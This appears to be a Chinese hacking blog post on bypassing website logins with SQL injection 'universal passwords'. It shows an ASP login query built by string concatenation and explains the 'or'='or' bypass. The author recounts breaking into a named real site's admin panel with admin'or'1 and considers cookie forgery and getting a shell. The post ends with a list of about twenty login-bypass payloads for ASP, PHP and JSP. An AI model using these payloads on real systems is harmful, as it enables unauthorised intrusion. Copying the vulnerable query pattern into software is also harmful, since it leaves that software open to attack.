网站登录的破解
<%
pwd = request.form("password") //获取用户登录的密码并赋值给pwd
user = request.form("username") //获取后台登陆的用户名并赋值给user
Set RS = Server.CreateObject("ADODB.Connection") //连接数据库
sql = "select * from admin where UserName='" & user &"' and PassWord='" & pwd & "'" //查询数据库
........
后面就不用写了!
我们来看看漏洞产生的原因!
比如,在登录后台时我们第一次输入:admin/admin888,那么在check.asp中(假设没有md5加密):
user=admin,pwd=admin888
然后查询:select * from admin where UserName = 'admin' and PassWord = 'admin888'
如果数据库admin表的UserName字段存在admin这个记录,并且相应字段PassWord存在admin888,那么,登录成功,然后设置用户的session!
但是,用万能密码'or'='or'/'or'='or'登录呢?
user='or'='or' pwd='or'='or'
查询语句为:select * from admin where UserName = '' or '=' or '' and PassWord = '' or '=' or ''
(为了条理性,我多加了一个空格进去)
这句的意思是:查询数据库中(用户名为空或者空等于空(这句是正确的哦))并且 (密码为空或者空等于空(也是正确的))
可以看到用户名部分用or(或者)连接,结果是true;同样,密码部分也是返回true,那么再用and连接,当然也是true,所以就能够绕过去了!
这就是原理主要部分!>_<
当然,万能密码还有很多种,这里就不说了!
但是,灵活运用才是最重要!
看一个实际的例子!
前几天看了一个站(http://www.czdh.com.cn/manage/login.asp),可以用万能密码'or'='or'登录,而且后台有数据库备份,但是,可惜的是没有权限,怪哉!
一般而言,'or'='or'登录的都是admin身份,而这个居然只是一个普通的管理员!
呵呵,其实没有什么的!如我们刚才所说,万能密码如果能够正确,那么它查询的时候也因该有一个先后顺序的吧,从第一个记录开始查!由于始终正确,那么他会返回第一个记录,对吧?
不幸的是,这个管理员表中,第一条记录就是一个普通管理员!
呵呵,杯具!
权限真是小啊!上传权限好像都没有的,杯具了! 当然,思路还是有的!
比如:如果有注入点,可以得到管理员的用户名和密码(md5加密,再加点难度,不能被破解),然后用万能密码登陆后台,然后修改cookie,呵呵!不用说,是可以欺骗成功的!
肯定的原因:抓包分析得出的!
又杯具的是:没有找到注入点!
那么,好像没有办法了!
呵呵!
我一直在想,怎么才能用万能密码登陆成功,并且身份是admin
我用户名和密码都输入:admin'or'='
报错,如下:
语法错误 (操作符丢失) 在查询表达式 'adminname='admin'or'='' and adminpass='915c991fe2863ae671cb4f5066dad485'' 中
嘿嘿,这下子可好了!
虽然只是语法错误而已,但是,给我们提供了一个思路!
注意看报错内容,在此就不再分析了!我们猜想,如果有admin这个用户,那么我们构造一个正确的语句,那么,是不是就可以以admin身份登陆呢?
呵呵,果然如此!
用户名和密码都是:admin'or'1
嘿嘿~!登陆成功,用户是admin了!
呵呵!灵活运用才是关键!
当然,通过刚才的想法!很明显:我们可以构造一个任何存在的用户,并且,可以成功登陆!
看了一下,shell其实也并不好拿!嘿嘿!
参考网址:http://www.douban.com/note/148789639/
asp aspx万能密码
1: "or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6: "or 1=1--
7:'or'a'='a
8: "or"="a'='a
9:'or''='
10:'or'='or'
11: 1 or '1'='1'=1
12: 1 or '1'='1' or 1=1
13: 'OR 1=1%00
14: "or 1=1%00
15: 'xor
16: 新型万能登陆密码
用户名 ' UNION Select 1,1,1 FROM admin Where ''=' (替换表名admin)
密码 1
Username=-1%cf' union select 1,1,1 as password,1,1,1 %23
Password=1
17..admin' or 'a'='a 密码随便
PHP万能密码
'or'='or'
'or 1=1/* 字符型 GPC是否开都可以使用
User: something
Pass: ' OR '1'='1
jsp 万能密码
1'or'1'='1
admin' OR 1=1/*
用户名:admin 系统存在这个用户的时候 才用得上
密码:1'or'1'='1